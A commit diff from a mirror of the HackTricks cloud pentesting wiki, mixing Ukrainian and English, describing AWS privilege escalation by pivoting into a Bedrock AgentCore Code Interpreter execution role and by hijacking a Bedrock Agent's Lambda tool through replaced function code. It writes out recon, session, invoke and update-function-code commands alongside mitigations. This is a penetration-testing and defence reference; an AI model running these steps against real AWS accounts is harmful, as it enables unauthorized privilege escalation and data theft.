mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-04-28 12:03:08 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
@@ -6,32 +6,32 @@
|
||||
|
||||
### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
|
||||
|
||||
AgentCore Code Interpreter — це кероване середовище виконання. **Custom Code Interpreters** можна сконфігурувати з параметром **`executionRoleArn`**, який «надає дозволи для code interpreter на доступ до сервісів AWS».
|
||||
AgentCore Code Interpreter — це кероване середовище виконання. **Custom Code Interpreters** можуть бути налаштовані з **`executionRoleArn`**, який “provides permissions for the code interpreter to access AWS services”.
|
||||
|
||||
Якщо **lower-privileged IAM principal** може **start + invoke** сесію **Code Interpreter**, налаштовану з **more privileged execution role**, викликач фактично може **pivot into the execution role’s permissions** (lateral movement / privilege escalation залежно від області ролі).
|
||||
Якщо **IAM principal з нижчими привілеями** може **start + invoke** сесію Code Interpreter, яка налаштована з **більш привілейованою execution role**, викликаючий фактично може **pivot у permissions execution role** (lateral movement / privilege escalation залежно від scope ролі).
|
||||
|
||||
> [!NOTE]
|
||||
> Зазвичай це проблема **misconfiguration / excessive permissions** (надання широких дозволів ролі виконання інтерпретатора та/або надання широкого invoke-доступу).
|
||||
> AWS прямо попереджає про необхідність уникати privilege escalation, переконавшись, що execution roles мають **equal or fewer** привілеїв, ніж ідентичності, яким дозволено викликати.
|
||||
> Це зазвичай є **misconfiguration / excessive permissions** issue (надмірно широкі permissions для interpreter execution role та/або занадто широкі invoke access).
|
||||
> AWS прямо попереджає уникати privilege escalation, забезпечуючи, щоб execution roles мали **equal or fewer** privileges, ніж identities, яким дозволено invoke.
|
||||
|
||||
#### Preconditions (common misconfiguration)
|
||||
|
||||
- Існує **custom code interpreter** з надмірно привілейованою **execution role** (наприклад: доступ до конфіденційних S3/Secrets/SSM або можливості типу IAM-admin).
|
||||
- Користувач (developer/auditor/CI identity) має дозволи на:
|
||||
- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
|
||||
- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
|
||||
- (Опційно) Користувач також може створювати interpreters: `bedrock-agentcore:CreateCodeInterpreter` (дозволяє створити новий interpreter, налаштований з execution role, залежно від org guardrails).
|
||||
- Існує **custom code interpreter** з надмірно привілейованою **execution role** (наприклад, доступ до sensitive S3/Secrets/SSM або можливості на кшталт IAM-admin).
|
||||
- User (developer/auditor/CI identity) має permissions на:
|
||||
- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
|
||||
- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
|
||||
- (Optional) User також може create interpreters: `bedrock-agentcore:CreateCodeInterpreter` (дозволяє створити новий interpreter, налаштований з execution role, залежно від org guardrails).
|
||||
|
||||
#### Recon (виявлення custom interpreters та використання execution role)
|
||||
#### Recon (identify custom interpreters and execution role usage)
|
||||
|
||||
Перелічіть interpreters (control-plane) та перевірте їх конфігурацію:
|
||||
List interpreters (control-plane) and inspect their configuration:
|
||||
```bash
|
||||
aws bedrock-agentcore-control list-code-interpreters
|
||||
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
|
||||
````
|
||||
> Команда create-code-interpreter підтримує `--execution-role-arn`, який визначає, які дозволи AWS матиме interpreter.
|
||||
```
|
||||
> Команда create-code-interpreter підтримує `--execution-role-arn`, який визначає, які AWS permissions матиме interpreter.
|
||||
|
||||
#### Крок 1 - Розпочніть сесію (це повертає `sessionId`, а не interactive shell)
|
||||
#### Крок 1 - Start a session (це повертає `sessionId`, а не interactive shell)
|
||||
```bash
|
||||
SESSION_ID=$(
|
||||
aws bedrock-agentcore start-code-interpreter-session \
|
||||
@@ -43,11 +43,11 @@ aws bedrock-agentcore start-code-interpreter-session \
|
||||
|
||||
echo "SessionId: $SESSION_ID"
|
||||
```
|
||||
#### Крок 2 - Виклик виконання коду (Boto3 або підписаний HTTPS)
|
||||
#### Step 2 - Invoke code execution (Boto3 or signed HTTPS)
|
||||
|
||||
Немає **інтерактивної python shell** при `start-code-interpreter-session`. Виконання відбувається через **InvokeCodeInterpreter**.
|
||||
There is **no interactive python shell** from `start-code-interpreter-session`. Execution happens via **InvokeCodeInterpreter**.
|
||||
|
||||
**Варіант A - приклад Boto3 (виконати Python + перевірити ідентичність):**
|
||||
**Option A - Boto3 example (execute Python + verify identity):**
|
||||
```python
|
||||
import boto3
|
||||
|
||||
@@ -68,9 +68,9 @@ arguments={
|
||||
for event in resp.get("stream", []):
|
||||
print(event)
|
||||
```
|
||||
Якщо інтерпретатор налаштовано з execution role, вивід `sts:GetCallerIdentity()` має відображати ідентичність цієї ролі (а не low-priv caller), демонструючи pivot.
|
||||
Якщо interpreter налаштовано з execution role, вивід `sts:GetCallerIdentity()` має відображати ідентичність цього role (а не low-priv caller), демонструючи pivot.
|
||||
|
||||
**Option B - Підписаний HTTPS виклик (awscurl):**
|
||||
**Option B - Signed HTTPS call (awscurl):**
|
||||
```bash
|
||||
awscurl -X POST \
|
||||
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
|
||||
@@ -87,20 +87,88 @@ awscurl -X POST \
|
||||
}
|
||||
}'
|
||||
```
|
||||
#### Вплив
|
||||
#### Impact
|
||||
|
||||
* **Lateral movement** у будь-який AWS-доступ, який має роль виконання інтерпретатора.
|
||||
* **Privilege escalation** якщо роль виконання інтерпретатора має більші привілеї, ніж викликач.
|
||||
* Ускладнене виявлення, якщо CloudTrail data events для викликів інтерпретатора не увімкнені (виклики за замовчуванням можуть не реєструватися, залежно від конфігурації).
|
||||
* **Lateral movement** у будь-який AWS доступ, який має interpreter execution role.
|
||||
* **Privilege escalation** якщо interpreter execution role має більше привілеїв, ніж caller.
|
||||
* Складніше виявлення, якщо CloudTrail data events для interpreter invocations не увімкнені (invocations можуть не логуватися за замовчуванням, залежно від конфігурації).
|
||||
|
||||
#### Пом'якшення / Укріплення
|
||||
#### Mitigations / Hardening
|
||||
|
||||
* **Least privilege** щодо інтерпретатора `executionRoleArn` (ставтеся до нього як до Lambda execution roles / CI roles).
|
||||
* **Обмежити, хто може викликати** (`bedrock-agentcore:InvokeCodeInterpreter`) та хто може починати сесії.
|
||||
* Використовуйте **SCPs** для заборони InvokeCodeInterpreter, за винятком затверджених agent runtime roles (можливе необхідне примусове застосування на рівні організації).
|
||||
* Увімкніть відповідні **CloudTrail data events** для AgentCore там, де це застосовно; налаштуйте оповіщення про небажані виклики та створення сесій.
|
||||
* **Least privilege** для interpreter `executionRoleArn` (ставтеся до нього як до Lambda execution roles / CI roles).
|
||||
* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) і хто може start sessions.
|
||||
* Use **SCPs** to deny InvokeCodeInterpreter except for approved agent runtime roles (org-level enforcement can be necessary).
|
||||
* Enable appropriate **CloudTrail data events** for AgentCore where applicable; alert on unexpected invocations and session creation.
|
||||
|
||||
## Посилання
|
||||
## Amazon Bedrock Agents
|
||||
|
||||
### `lambda:UpdateFunctionCode`, `bedrock:InvokeAgent` - Agent Tool Hijacking via Lambda
|
||||
|
||||
Bedrock Agents can use **Lambda-backed action groups** as tools (external execution). If a principal can **modify the code of a Lambda function used by an agent**, and can then **invoke the agent**, they can execute attacker-controlled code under the **Lambda execution role**.
|
||||
|
||||
> [!NOTE]
|
||||
> This is a **cross-service trust abuse** (Bedrock → Lambda), not a vulnerability. The attacker may not be able to invoke the Lambda directly, but can still trigger it via the agent.
|
||||
|
||||
#### Preconditions (common misconfiguration)
|
||||
|
||||
- A Bedrock Agent exists with an **action group backed by a Lambda function**
|
||||
- The attacker has:
|
||||
- `lambda:UpdateFunctionCode`
|
||||
- `bedrock:InvokeAgent`
|
||||
- The Lambda execution role has broader permissions than the attacker
|
||||
- The attacker can identify the Lambda used by the agent
|
||||
|
||||
#### Recon
|
||||
|
||||
Enumerate agent action groups:
|
||||
```bash
|
||||
aws bedrock-agent list-agents
|
||||
aws bedrock-agent get-agent --agent-id <AGENT_ID>
|
||||
aws bedrock-agent list-agent-action-groups --agent-id <AGENT_ID> --agent-version DRAFT
|
||||
```
|
||||
Inspect Lambda:
|
||||
```bash
|
||||
aws lambda get-function --function-name <FUNCTION_NAME>
|
||||
```
|
||||
#### Експлуатація
|
||||
|
||||
Replace Lambda code:
|
||||
```bash
|
||||
zip payload.zip lambda_function.py
|
||||
|
||||
aws lambda update-function-code \
|
||||
--function-name <FUNCTION_NAME> \
|
||||
--zip-file fileb://payload.zip
|
||||
```
|
||||
Приклад payload:
|
||||
```python
|
||||
import boto3
|
||||
|
||||
def lambda_handler(event, context):
|
||||
return boto3.client("sts").get_caller_identity()
|
||||
```
|
||||
Тригер через agent:
|
||||
```bash
|
||||
aws bedrock-agent-runtime invoke-agent \
|
||||
--agent-id <AGENT_ID> \
|
||||
--agent-alias-id <ALIAS_ID> \
|
||||
--session-id test \
|
||||
--input-text "trigger tool"
|
||||
```
|
||||
#### Impact
|
||||
|
||||
* **Privilege escalation** into Lambda execution role
|
||||
* **Data exfiltration** from AWS services
|
||||
* **Cross-service abuse** via trusted agent execution
|
||||
|
||||
#### Mitigations
|
||||
|
||||
* **Restrict** `lambda:UpdateFunctionCode`
|
||||
* Use **least-privilege** Lambda roles
|
||||
* **Monitor** Lambda code changes
|
||||
* **Audit** Bedrock agent tool usage
|
||||
|
||||
## References
|
||||
|
||||
- [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/)
|
||||
- [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/)
|
||||
@@ -108,6 +176,7 @@ awscurl -X POST \
|
||||
- [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html)
|
||||
- [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html)
|
||||
- [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)
|
||||
- [SoftwareSecured: AWS Privilege Escalation Techniques (Bedrock agent tool hijacking)](https://www.softwaresecured.com/post/aws-privilege-escalation-iam-risks-service-based-attacks-and-new-ai-driven-bedrock-agentcore-vectors)
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user